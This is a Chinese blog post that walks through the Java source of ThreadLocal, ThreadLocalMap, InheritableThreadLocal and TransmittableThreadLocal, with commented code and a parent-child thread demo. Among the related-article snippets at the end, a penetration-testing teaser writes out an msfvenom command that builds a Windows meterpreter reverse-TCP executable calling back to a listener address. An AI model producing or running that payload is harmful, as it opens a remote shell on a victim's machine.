Java-并发编程--ThreadLocal、InheritableThreadLocal

1.ThreadLocal 作用

作用:为变量在线程中都创建副本,线程可访问自己内部的副本变量。该类提供了线程局部 (thread-local) 变量,访问这个变量(通过其 get 或 set 方法)的每个线程都有自己的局部变量,它独立于变量的初始化副本

原理:每个线程都有一个ThreadLocalMap类型变量 threadLocals。ThreadLocal的set()会在threadLocals中保存以ThreadLocal对象为key,以保存的变量为value的值,get()会获取该值

建议:

  • 将ThreadLocal变量定义成private static的,这样的话ThreadLocal的生命周期就更长,由于一直存在ThreadLocal的强引用,所以ThreadLocal也就不会被回收,也就能保证任何时候都能根据ThreadLocal的弱引用访问到Entry的value值,然后remove它,防止内存泄露
  • 每次使用完ThreadLocal,都调用它的remove()方法,清除数据。

2.ThreadLocal继承关系

3.源码走读

3.1.ThreadLocal.java
public class ThreadLocal<T> {//**每一个实例都有一个唯一的threadLocalHashCode,值为上一个实例的值加上0x61c88647//**作用是为了让哈希码能均匀的分布在2的N次方的数组里private final int threadLocalHashCode = nextHashCode();private static AtomicInteger nextHashCode = new AtomicInteger();private static final int HASH_INCREMENT = 0x61c88647;private static int nextHashCode() {return nextHashCode.getAndAdd(HASH_INCREMENT);}//**返回此线程局部变量的当前线程的“初始值”//**线程第一次使用get()方法时调用此方法,如果线程之前调用了set(T)方法,则不会对该线程再调用该方法//**通常,此方法对每个线程最多调用一次,但调用了remove(),则会再次调用此方法//**默认返回null,如果希望返回其它值,则须创建子类,并重写此方法,通常将使用匿名内部类完成此操作 protected T initialValue() {return null;}//**在java8,使用函数式编程的方式设置并返回当前线程变量的初始值,与上个方法功能相同//**示例:ThreadLocal<String> threadLocal = ThreadLocal.withInitial(() -> "test");public static <S> ThreadLocal<S> withInitial(Supplier<? extends S> supplier) {//**返回SuppliedThreadLocal对象,SuppliedThreadLocal是ThreadLocal的子类,//**重写的initialValue方法调用supplier的get方法做为当前线程变量的初始值return new SuppliedThreadLocal<>(supplier);}//**返回此线程局部变量的当前线程副本中的值,如果变量没有用于当前线程的值,则返回initialValue()的值public T get() {//**获取当前线程的实例Thread t = Thread.currentThread();//**获取当前线程中的ThreadLocalMap类型变量threadLocalsThreadLocalMap map = getMap(t);if (map != null) {//**从threadLocals中获取以this为key的Entry对象ThreadLocalMap.Entry e = map.getEntry(this);//**如果Entry对象不为空,则返回它的valueif (e != null) {@SuppressWarnings("unchecked")T result = (T)e.value;return result;}}//**如果threadLocals对象不为空或者Entry为空,则调用setInitialValue进行初始化return setInitialValue();}//**使用initialValue()的值初始化线程局部变量private T setInitialValue() {//**获取线程局部变量的初始值,默认为nullT value = initialValue();//**获取当前线程的实例Thread t = Thread.currentThread();//**获取当前线程中的ThreadLocalMap类型变量threadLocalsThreadLocalMap map = getMap(t);//**如果threadLocals不为空,设置以this为key,以value为值的Entry对象if (map != null)map.set(this, value);//**如果threadLocals为空,则进行初始化,并设置以this为key,以value为值的Entry对象elsecreateMap(t, value);return value;}//**设置线程局部变量的值public void set(T value) {Thread t = Thread.currentThread();ThreadLocalMap map = getMap(t);if (map != null)map.set(this, value);elsecreateMap(t, value);}//**移除此线程局部变量当前线程的值,如果随后调用get()方法,且没有调用set()设置值,则将调用initialValue()重新初始化值public void remove() {ThreadLocalMap m = getMap(Thread.currentThread());if (m != null)m.remove(this);}//**从线程实例中获取threadLocals对象ThreadLocalMap getMap(Thread t) {return t.threadLocals;}//**初始化线程t的threadLocals对象,并设置以this为key,以firstValue为值的Entry对象void createMap(Thread t, T firstValue) {t.threadLocals = new ThreadLocalMap(this, firstValue);}//**根据主线程中的ThreadLocalMap对象创建子线程的ThreadLocalMap对象static ThreadLocalMap createInheritedMap(ThreadLocalMap parentMap) {return new ThreadLocalMap(parentMap);}//**ThreadLocal对象不支持,在InheritableThreadLocal中实现T childValue(T parentValue) {throw new UnsupportedOperationException();}}
3.2.SuppliedThreadLocal.java
  • ithInitial方法使用Supplier对象创建SuppliedThreadLocal对象
  • 作用是为了在java8,支持使用函数式编程的方式设置并返回当前线程变量的初始值
static final class SuppliedThreadLocal<T> extends ThreadLocal<T> {private final Supplier<? extends T> supplier;SuppliedThreadLocal(Supplier<? extends T> supplier) {this.supplier = Objects.requireNonNull(supplier);}@Override//**重写的initialValue方法,调用supplier的get方法做为当前线程变量的初始值protected T initialValue() {return supplier.get();}
}
3.4.ThreadLocalMap.java
作用:

ThreadLocalMap是ThreadLocal的内部类。存放以ThreadLocal变量为key,以保存的变量为value的键值对

原理:
  • ThreadLocalMap内部以Entry[]做为存储,原始长度默认为16,当元素个数达到扩容阀值(数组长度的3/4)-扩容阀值/4,则自动扩容,扩容到上次长度的2倍。Entry[]的长度必须是2的倍数
  • Entry[]存储元素并不是按索引顺序存储,而是根据ThreadLocal进行计算存储位置,这样能实现根据ThreadLocal都能快速定位键值对,而不用遍历数组的每个元素
  • 计算方法:ThreadLocal.threadLocalHashCode & (Entry[].length - 1)计算,ThreadLocal每一个实例都有一个唯一的threadLocalHashCode,值为上一个实例的值加上0x61c88647,该算法可以生成均匀的分布在2的N次方数组里的下标
  • 如果计算的存储位置已经有元素,则会存放到下一个索引的位置,ThreadLocalMap会清理过期数据,并重新根据计算的存储位置重置,以保证尽可能减少和纠正此类问题
static class ThreadLocalMap {//**存放单个键值对的对象//**弱引用: 如果某个对象只有弱引用,那么gc会立即回收static class Entry extends WeakReference<ThreadLocal<?>> {Object value;Entry(ThreadLocal<?> k, Object v) {super(k);value = v;}}//**默认初始化的大小,必须是2的倍数private static final int INITIAL_CAPACITY = 16;//**真正存储数据的数组,长度必须是2的倍数private Entry[] table;//**ThreadLocalMap的大小,即上述Entry[]中存放元素的个数private int size = 0;//**自动扩容的阀值private int threshold; // Default to 0//**设置自动扩容的阀值,为设定长度的2/3private void setThreshold(int len) {threshold = len * 2 / 3;}//**下一个索引private static int nextIndex(int i, int len) {return ((i + 1 < len) ? i + 1 : 0);}//**上一个索引private static int prevIndex(int i, int len) {return ((i - 1 >= 0) ? i - 1 : len - 1);}//**创建ThreadLocalMap,并设置第一个键值对ThreadLocalMap(ThreadLocal<?> firstKey, Object firstValue) {//**根据默认初始化的大小初始化Entry[]table = new Entry[INITIAL_CAPACITY];//**根据threadlocal对象的threadLocalHashCode和Entry[]数组的长度计算存放的位置//**该算法可以生成均匀的分布在2的N次方数组里的下标//**每个键值对并不是按顺序存放Entry[]里面int i = firstKey.threadLocalHashCode & (INITIAL_CAPACITY - 1);//**把Entry对象放到指定位置table[i] = new Entry(firstKey, firstValue);//**设置ThreadLocalMap的大小,即Entry[]中存放元素的个数size = 1;//**设置自动扩容的阀值setThreshold(INITIAL_CAPACITY);}//**根据parentMap创建另一个parentMap,使用InheritableThreadLocal时,创建子线程时会调用private ThreadLocalMap(ThreadLocalMap parentMap) {Entry[] parentTable = parentMap.table;int len = parentTable.length;setThreshold(len);table = new Entry[len];for (int j = 0; j < len; j++) {Entry e = parentTable[j];if (e != null) {@SuppressWarnings("unchecked")ThreadLocal<Object> key = (ThreadLocal<Object>) e.get();if (key != null) {//**调用InheritableThreadLocal的childValue方法处理保存的对象Object value = key.childValue(e.value);Entry c = new Entry(key, value);int h = key.threadLocalHashCode & (len - 1);while (table[h] != null)h = nextIndex(h, len);table[h] = c;size++;}}}}//**根据threadlocal获取Entry对象private Entry getEntry(ThreadLocal<?> key) {//**计算下标int i = key.threadLocalHashCode & (table.length - 1);Entry e = table[i];//**如果对象存在,且key一样,则返回if (e != null && e.get() == key)return e;else  //**否则从指定索引的下一个索引开始查找return getEntryAfterMiss(key, i, e);}//**没有直接命中,则指定索引的下一个索引开始查找private Entry getEntryAfterMiss(ThreadLocal<?> key, int i, Entry e) {Entry[] tab = table;int len = tab.length;//**从指定索引开始遍历,直到数据为nullwhile (e != null) {ThreadLocal<?> k = e.get();//**如果数据存在则返回if (k == key)return e;//**threadlocal对象为空,删除过期数据if (k == null)//**删除过期数据expungeStaleEntry(i);//**i为下一个索引elsei = nextIndex(i, len);//**e为下一个索引的值e = tab[i];}//**没有数据不存在则返回nullreturn null;}//**根据threadlocal对象设置valueprivate void set(ThreadLocal<?> key, Object value) {Entry[] tab = table;int len = tab.length;//**计算存放的索引int i = key.threadLocalHashCode & (len-1);//**从指定索引开始遍历Entry[],直到数据为nullfor (Entry e = tab[i]; e != null; e = tab[i = nextIndex(i, len)]) {ThreadLocal<?> k = e.get();//**如果数据存在,则直接返回if (k == key) {e.value = value;return;}//**如果key为空,则替换当前索引的数据,并返回if (k == null) {replaceStaleEntry(key, value, i);return;}}//**设置指定索引的数据tab[i] = new Entry(key, value);int sz = ++size;//**如果没有数据需要清理并且数组长度大于了扩容阀值,则扩容if (!cleanSomeSlots(i, sz) && sz >= threshold)rehash();}//**根据key删除数据private void remove(ThreadLocal<?> key) {Entry[] tab = table;int len = tab.length;//**计算存放的索引int i = key.threadLocalHashCode & (len-1);//**从指定的索引开始遍历Entry[],直到数据为nullfor (Entry e = tab[i]; e != null; e = tab[i = nextIndex(i, len)]) {//**如果指定key存在,则删除指定数据if (e.get() == key) {e.clear();expungeStaleEntry(i);return;}}}//**替换指定索引的过期数据的private void replaceStaleEntry(ThreadLocal<?> key, Object value, int staleSlot) {Entry[] tab = table;int len = tab.length;Entry e;//**从指定索引往前找,找到过期数据的索引int slotToExpunge = staleSlot;for (int i = prevIndex(staleSlot, len); (e = tab[i]) != null; i = prevIndex(i, len))if (e.get() == null)slotToExpunge = i;//**从指定索引往后找for (int i = nextIndex(staleSlot, len); (e = tab[i]) != null; i = nextIndex(i, len)) {ThreadLocal<?> k = e.get();//**如果是数据的key等于指定的keyif (k == key) {//**替换它的valuee.value = value;//**把它的位置和指定索引的位置互换(把数据替换到计算索引的位置)tab[i] = tab[staleSlot];tab[staleSlot] = e;//**如果过期数据的的索引等于指定索引,则过期数据的索引为互换后的新索引if (slotToExpunge == staleSlot)slotToExpunge = i;cleanSomeSlots(expungeStaleEntry(slotToExpunge), len);return;}//**过期数据的索引if (k == null && slotToExpunge == staleSlot)slotToExpunge = i;}//**如果指定数据不存在,则创建新的数据tab[staleSlot].value = null;tab[staleSlot] = new Entry(key, value);//**如果有过时的条目,则清理if (slotToExpunge != staleSlot)cleanSomeSlots(expungeStaleEntry(slotToExpunge), len);}//**删除指定索引的过期数据,并返回数据为null的索引private int expungeStaleEntry(int staleSlot) {Entry[] tab = table;int len = tab.length;//**指定索引的数据置为null,数据减一(删除指定数据)tab[staleSlot].value = null;tab[staleSlot] = null;size--;Entry e;int i;//**从指定的索引的下一个数据开始循环遍历Entry[]数组,直到遇到null值for (i = nextIndex(staleSlot, len); (e = tab[i]) != null; i = nextIndex(i, len)) {ThreadLocal<?> k = e.get();//**如果key为空,Entry置为空,数据减一(删除指定数据)if (k == null) {e.value = null;tab[i] = null;size--;} else {//**重新计算存放的索引int h = k.threadLocalHashCode & (len - 1);//**如果新索引不等于原索引,则原索引数据置为nullif (h != i) {tab[i] = null;//**如果新的存放的索引有数据,则存放到新索引的下一个索引,直到没有数据为止while (tab[h] != null)h = nextIndex(h, len);tab[h] = e;}}}//**返回数据为null的索引return i;}//**从指定索引开始清理数据private boolean cleanSomeSlots(int i, int n) {boolean removed = false;Entry[] tab = table;int len = tab.length;do {i = nextIndex(i, len);Entry e = tab[i];if (e != null && e.get() == null) {n = len;removed = true;i = expungeStaleEntry(i);}} while ( (n >>>= 1) != 0);return removed;}//**删除过期数据并扩容private void rehash() {//**删除所有的过期数据expungeStaleEntries();//**数据量 >= 扩容阀值 - 扩容阀值 / 4,则扩容if (size >= threshold - threshold / 4)resize();}//**扩容private void resize() {Entry[] oldTab = table;int oldLen = oldTab.length;//**扩容为原来的2倍int newLen = oldLen * 2;Entry[] newTab = new Entry[newLen];int count = 0;//**把旧数据存放在新的Entry[]中for (int j = 0; j < oldLen; ++j) {Entry e = oldTab[j];if (e != null) {ThreadLocal<?> k = e.get();if (k == null) {e.value = null; // Help the GC} else {int h = k.threadLocalHashCode & (newLen - 1);while (newTab[h] != null)h = nextIndex(h, newLen);newTab[h] = e;count++;}}}//**计算新的扩容阀值setThreshold(newLen);size = count;table = newTab;}//**删除所有的过期数据private void expungeStaleEntries() {Entry[] tab = table;int len = tab.length;for (int j = 0; j < len; j++) {Entry e = tab[j];//**如果Entry不为空并且key为空(threadlocal对象为null)则为过期数据if (e != null && e.get() == null)expungeStaleEntry(j);}}}
3.5 Thread 、ThreadLocal、ThreadLocalMap关系图

Thread1 和Thread2 线程中的ThreadLocal 是相同的话,那么ThreadLocalMap 中Entry 下标位置都是 ThreadLocal 的hashcode & (len-1)的位置如不出现hash冲突的话则都是相同的。

3.6 InheritThreadLocal详解

原理和解析:

  • 每个线程都还有另外一个ThreadLocalMap类型变量inheritableThreadLocals
  • InheritableThreadLocal重写了getMap和createMap方法,维护的不在是threadLocals,而是inheritableThreadLocals
  • 当主线程创建一个子线程的时候,会判断主线程的inheritableThreadLocals是否为空
  • 如果不为空,则会把inheritableThreadLocals的值传给子线程的inheritableThreadLocals,传送的逻辑是childValue实现的
private void init(ThreadGroup g, Runnable target, String name,long stackSize, AccessControlContext acc) {...//**获取主线程的实例Thread parent = currentThread();...//**如果主线的inheritableThreadLocals不为空if (parent.inheritableThreadLocals != null)//**根据主线程的inheritableThreadLocals创建子线程的inheritableThreadLocalsthis.inheritableThreadLocals = ThreadLocal.createInheritedMap(parent.inheritableThreadLocals);...
}

注意:

  • 因为传送逻辑是在创建子线程的时候完成的,子线程创建后,主线程在修改InheritableThreadLocal变量的值,是无法传给子线程的
  • 创建子线程完成后,原则上子线程和父线程中InheritableThreadLocal变量的值在没有关联,各自调用set/get/remove都只影响本线程中的值
  • 如果InheritableThreadLocal变量的值是引用类型,通过get方法获取到对象后,直接修改了该对象的属性,则父线程和子线程都会受影响

InheritableThreadLocal类重写了ThreadLocal的3个函数:

	/*** 该函数在父线程创建子线程,向子线程复制InheritableThreadLocal变量时使用*/protected T childValue(T parentValue) {return parentValue;}/*** 由于重写了getMap,操作InheritableThreadLocal时,* 将只影响Thread类中的inheritableThreadLocals变量,* 与threadLocals变量不再有关系*/ThreadLocalMap getMap(Thread t) {return t.inheritableThreadLocals;}/*** 类似于getMap,操作InheritableThreadLocal时,* 将只影响Thread类中的inheritableThreadLocals变量,* 与threadLocals变量不再有关系*/void createMap(Thread t, T firstValue) {t.inheritableThreadLocals = new ThreadLocalMap(this, firstValue);}

线程间传值实现原理

public class Thread implements Runnable {......(其他源码)/* * 当前线程的ThreadLocalMap,主要存储该线程自身的ThreadLocal*/ThreadLocal.ThreadLocalMap threadLocals = null;/** InheritableThreadLocal,自父线程集成而来的ThreadLocalMap,* 主要用于父子线程间ThreadLocal变量的传递* 本文主要讨论的就是这个ThreadLocalMap*/ThreadLocal.ThreadLocalMap inheritableThreadLocals = null;......(其他源码)
}

Thread类中包含 threadLocals 和 inheritableThreadLocals 两个变量,其中inheritableThreadLocals 即主要存储可自动向子线程中传递的ThreadLocal.ThreadLocalMap。
接下来看一下父线程创建子线程的流程,我们从最简单的方式说起:
用户创建Thread
Thread thread = new Thread();

   /*** Allocates a new {@code Thread} object. This constructor has the same* effect as {@linkplain #Thread(ThreadGroup,Runnable,String) Thread}* {@code (null, null, gname)}, where {@code gname} is a newly generated* name. Automatically generated names are of the form* {@code "Thread-"+}<i>n</i>, where <i>n</i> is an integer.*/public Thread() {init(null, null, "Thread-" + nextThreadNum(), 0);}/*** 默认情况下,设置inheritThreadLocals可传递*/private void init(ThreadGroup g, Runnable target, String name,long stackSize) {init(g, target, name, stackSize, null, true);}/*** 初始化一个线程.* 此函数有两处调用,* 1、上面的 init(),不传AccessControlContext,inheritThreadLocals=true* 2、传递AccessControlContext,inheritThreadLocals=false*/private void init(ThreadGroup g, Runnable target, String name,long stackSize, AccessControlContext acc,boolean inheritThreadLocals) {......(其他代码)if (inheritThreadLocals && parent.inheritableThreadLocals != null)this.inheritableThreadLocals =ThreadLocal.createInheritedMap(parent.inheritableThreadLocals);......(其他代码)}

可以看到,采用默认方式产生子线程时,inheritThreadLocals=true;若此时父线程inheritableThreadLocals不为空,则将父线程inheritableThreadLocals传递至子线程

ThreadLocal.createInheritedMap
让我们继续追踪createInheritedMap:

    static ThreadLocalMap createInheritedMap(ThreadLocalMap parentMap) {return new ThreadLocalMap(parentMap);}/*** 构建一个包含所有parentMap中Inheritable ThreadLocals的ThreadLocalMap* 该函数只被 createInheritedMap() 调用.*/private ThreadLocalMap(ThreadLocalMap parentMap) {Entry[] parentTable = parentMap.table;int len = parentTable.length;setThreshold(len);// ThreadLocalMap 使用 Entry[] table 存储ThreadLocaltable = new Entry[len];// 逐一复制 parentMap 的记录for (int j = 0; j < len; j++) {Entry e = parentTable[j];if (e != null) {@SuppressWarnings("unchecked")ThreadLocal<Object> key = (ThreadLocal<Object>) e.get();if (key != null) {// 可能会有同学好奇此处为何使用childValue,而不是直接赋值,// 毕竟childValue内部也是直接将e.value返回;// 个人理解,主要为了减轻阅读代码的难度Object value = key.childValue(e.value);Entry c = new Entry(key, value);int h = key.threadLocalHashCode & (len - 1);while (table[h] != null)h = nextIndex(h, len);table[h] = c;size++;}}}}

从ThreadLocalMap可知,子线程将parentMap中的所有记录逐一复制至自身线程

InheritableThreadLocal主要用于子线程创建时,需要自动继承父线程的ThreadLocal变量,方便必要信息的进一步传递。

public class Test {private static List getList(String param) {List rst = new ArrayList<>();rst.add(param);return rst;}private static final InheritableThreadLocal<List> threadLocal = new InheritableThreadLocal<>();public static void test(Consumer<InheritableThreadLocal<List>> consumer) throws InterruptedException {threadLocal.set(getList("test"));Thread child = new Thread(() -> {while (!Thread.currentThread().isInterrupted()){try {TimeUnit.MILLISECONDS.sleep(1);} catch (InterruptedException e) {throw new RuntimeException(e);}System.out.println("子线程中threadLocal的值:" + threadLocal.get());}});System.out.println("主线程中threadLocal的值:" + threadLocal.get());child.start();TimeUnit.MILLISECONDS.sleep(1);consumer.accept(threadLocal);System.out.println("主线程中threadLocal的值:" + threadLocal.get());TimeUnit.MILLISECONDS.sleep(3);child.interrupt();}public static void main(String[] args) throws InterruptedException {//**创建子线程完成后,主线程调用set方法修改值,不会影响到子线程test(local -> local.set(getList("test1")));System.out.println("===========================");//**保存list对象时,通过get方法获取,然后修改list的值,则会影响到子线程test(local -> local.get().set(0, "test2"));}
}//**执行结果
主线程中threadLocal的值:[test]子线程中threadLocal的值:[test]主线程中threadLocal的值:[test1]子线程中threadLocal的值:[test]===========================主线程中threadLocal的值:[test]子线程中threadLocal的值:[test]主线程中threadLocal的值:[test2]子线程中threadLocal的值:[test2]
3.7 TransmittableThreadLocal详解

用于解决使用线程池缓存线程的组件的情况下传递ThreadLocal
使用场景:分布式跟踪系统,应用容器或上下层框架跨应用代码给下层SDK传递信息,日志收集系统上下文,

源码分析:

TransmittableThreadLocal 继承自 InheritableThreadLocal,这样可以在不破坏ThreadLocal 本身的情况下,使得当用户利用 new Thread() 创建线程时仍然可以达到传递InheritableThreadLocal 的目的。

public class TransmittableThreadLocal<T> extends InheritableThreadLocal<T>{......}

TransmittableThreadLocal相比于InheritableThreadLocal比较关键的一点是引入了holder变量,这样就不必对外暴露Thread中的inherittablethreadlocals变量保存ThreadLocalMap的封装性

// 理解holder,需注意如下几点:
// 1、holder 是 InheritableThreadLocal 变量;
// 2、holder 是 static 变量;
// 3、value 是 WeakHashMap;
// 4、深刻理解 ThreadLocal 工作原理;
private static InheritableThreadLocal<Map<TransmittableThreadLocal<?>, ?>> holder =new InheritableThreadLocal<Map<TransmittableThreadLocal<?>, ?>>() {@Overrideprotected Map<TransmittableThreadLocal<?>, ?> initialValue() {return new WeakHashMap<>();}@Overrideprotected Map<TransmittableThreadLocal<?>, ?> childValue(Map<TransmittableThreadLocal<?>, ?> parentValue) {return new WeakHashMap<>(parentValue);}};
// 调用 get() 方法时,同时将 this 指针放入 holder
public final T get() {T value = super.get();if (null != value) {addValue();}return value;
}
void addValue() {if (!holder.get().containsKey(this)) {holder.get().put(this, null); // WeakHashMap supports null value.}
}
// 调用 set() 方法时,同时处理 holder 中 this 指针
public final void set(T value) {super.set(value);if (null == value) { // may set null to remove valueremoveValue();} else {addValue();}
}
void removeValue() {holder.get().remove(this);
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2868984.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

vuex购物车案例

store/index.js // 导入vue import Vue from vue // 导入vuex import Vuex from vueximport cart from ./module/cartVue.use(Vuex)// 创建仓库store const store new Vuex.Store({strict: true,modules: {cart} })// 导出仓库 export default storestore/modules/cart impo…

外包干了28天,技术退步明显......

说一下自己的情况&#xff0c;本科生&#xff0c;19年通过校招进入深圳某软件公司&#xff0c;干了接近4年的功能测试&#xff0c;今年年初&#xff0c;感觉自己不能够在这样下去了&#xff0c;长时间呆在一个舒适的环境会让一个人堕落!而我已经在一个企业干了四年的功能测试&a…

python-在图片上标实心圆点

代码&#xff1a; from PIL import Image, ImageDraw# 打开图像 image_path path_to_your_image.jpg image Image.open(image_path)# 创建一个可以在上面绘图的对象 draw ImageDraw.Draw(image)# 设置圆点的坐标和颜色 x 100 # 圆点的x坐标 y 100 # 圆点的y坐标 color …

电商系统秒杀一 秒杀的各种解决方案以及存在的问题

一 业务场景介绍 1.1 正常电商流程 1.2 活动和场次关系 秒杀活动表&#xff1a;sms_flash_promotion DROP TABLE IF EXISTS sms_flash_promotion; CREATE TABLE sms_flash_promotion (id bigint(20) NOT NULL AUTO_INCREMENT,title varchar(200) CHARACTER SET utf8 COLLAT…

【C语言步行梯】各类操作符、类型转换与原码、反码、补码详谈

&#x1f3af;每日努力一点点&#xff0c;技术进步看得见 &#x1f3e0;专栏介绍&#xff1a;【C语言步行梯】专栏用于介绍C语言相关内容&#xff0c;每篇文章将通过图片代码片段网络相关题目的方式编写&#xff0c;欢迎订阅~~ 文章目录 算术运算符原码、反码、补码介绍移位运算…

sparksession对象简介

什么是sparksession对象 spark2.0之后&#xff0c;sparksession对象是spark编码的统一入口对象&#xff0c;通常我们在rdd编程时&#xff0c;需要SparkContext对象作为RDD编程入口&#xff0c;但sparksession对象既可以作为RDD编程对象入口&#xff0c;在sparkcore编程中可以通…

react可视化编辑器 第二章 自由拖动

完整代码 这里介绍 currentDiv 和 useRef的俩中用法&#xff0c;看自己需求使用 import React, {useState,DragEvent,useRef,useEffect,MouseEvent, } from react;interface Demo {id: number;x: number;y: number; }const App: React.FC () > {const [demos, setDemos] u…

RabbitMQ学习总结-基础篇

1..RabbitMQ 本身是一个消息中间件&#xff0c;在服务应用中&#xff0c;可解决高性能&#xff0c;高并发&#xff0c;高应用的问题&#xff0c;极大程度上解决了应用的性能问题。 2.MQ的使用分为生产者和消费者&#xff0c;生产者生产消息&#xff0c;消费者去消费消息。 3.…

管理类联考–复试–政治--二十大--记忆宫殿

文章目录 整体记忆宫殿门床头柜床书桌阳台 口诀记忆法 整体 记忆宫殿 要有逻辑的放到房间了 何为逻辑&#xff0c;如下大佬总结的便是&#xff0c;或者可自行总结&#xff0c;有前后顺序&#xff0c;做事逻辑即可 第一步&#xff1a;将逻辑的点放到房间里的点&#xff0c;…

从零开始搭建游戏服务器 第二节 Actor模型与应用

目录 复习本节内容正文什么是Actor模型如何应用创建Actor基类创建RootActor创建AkkaContext创建ConnectActorManager和ConnectActor生成actor并发送消息给它 课后作业结尾 复习 上一节我们使用gradle构建了一个多模块系统。 并且在登录服启动了Netty服务&#xff0c;监听confi…

渗透测试框架权限维持技术——Persistence模块

测试环境&#xff1a; kali win7 测试步骤&#xff1a; 1.利用MSF编写远控程序 msfvenom -p windows/meterpreter/reverse_tcp lhost10.0.0.163 lport55555 -f exe -o 5555.exe-p 漏洞利用payload lhost 监听地址&#xff08;kali地址&#xff09; lport 监听端口&#xf…

劲仔食品三年倍增,抢先打响鹌鹑蛋“健康”属性品牌之争?

如果说&#xff0c;进入2024年后&#xff0c;在股价继续陷入回调状态的食品板块中有个股走势表现相对亮眼&#xff0c;那么劲仔食品必是其中之一。 从去年发布2023年三季度业绩公告以来&#xff0c;其强劲的业绩表现就带动了股价走出小趋势。2023年10月23日至今2024年3月13日收…

Spring框架-上篇

预备知识&#xff1a;Maven基础 目录 Spring课程介绍为什么学学什么怎么学将学习的Spring技术 Spring Framework系统架构Spring Framework系统架构图Spring Framework学习线路 核心概念小结IoC案例Io入门案例思路分析Ioc入门案例(XML版) DI入门案例DI入门案例思路分析DI入门案…

关于UE的相机震动CameraShake

创建CameraShake资源 CameraShake配置是个蓝图类&#xff0c;我们选择创建BlueprintClass&#xff0c;父类选择CameraShakeBase即可。 参数调整 目前主要用到了 LocationAmplitudeMultiplier 1 LocationFrequencyMultiplier 10 RotationAmplitudeMultiplier 1 Rotation…

云服务器2核4G能支持多少人同时访问?拿本记上!

腾讯云轻量2核4G5M带宽服务器支持多少人在线访问&#xff1f;5M带宽下载速度峰值可达640KB/秒&#xff0c;阿腾云以搭建网站为例&#xff0c;假设优化后平均大小为60KB&#xff0c;则5M带宽可支撑10个用户同时在1秒内打开网站&#xff0c;并发数为10&#xff0c;经阿腾云测试&a…

使用Python IDLE进行Debug调试

1.首先以我的Python版本为例为大家讲解&#xff0c;我的版本是Python 3.7&#xff0c;版本问题对使用情况影响不大。 2.接着我们可以通过新建文件夹来输入我们的代码或者打开我们已有的代码 这里我直接打开已有的代码效果如图&#xff0c;接下来我们如何使用Debug呢&#xff1…

【LLM】LLama2模型(RMSNorm、SwiGLU、RoPE位置编码)

note 预训练语言模型除了自回归&#xff08;Autoregressive&#xff09;模型GPT&#xff0c;还有自编码模型&#xff08;Autoencoding&#xff09;BERT[1]、编-解码&#xff08;Encoder-Decoder&#xff09;模型BART[67]&#xff0c;以及融合上述三种方法的自回归填空&#xf…

【视频图像取证篇】模糊图像增强技术之深度转化类滤波场景应用小结

【视频图像取证篇】模糊图像增强技术之深度转化类滤波场景应用小结 模糊图像增强技术之深度转化类滤波场景应用小结—【蘇小沐】 &#xff08;一&#xff09;转化类滤波器&#xff08;Convert to filter&#xff09; 1、灰度滤波器&#xff08;Gray filter&#xff09; 灰度…

stm32学习——串口通信中的奇偶校验位

常用的校验算法有奇偶校验、校验和、CRC&#xff0c;还有LRC、BCC等不常用的校验算法。 以串口通讯中的奇校验为例&#xff0c;如果数据中1的个数为奇数&#xff0c;则奇校验位0&#xff0c;否则为1。 例如原始数据为&#xff1a;0001 0011&#xff0c;数据中1的个数&#xf…

STM32-Flash闪存

简介 STM32F1系列的FLASH包含程序存储器、系统存储器和选项字节三个部分&#xff0c;通过闪存存储器接口&#xff08;外设&#xff09;可以对程序存储器和选项字节进行擦除和编程。 读写Flash的用途 1.利用程序存储器的剩余空间来保存掉电不丢失的用户数据。 2.通过在程序中…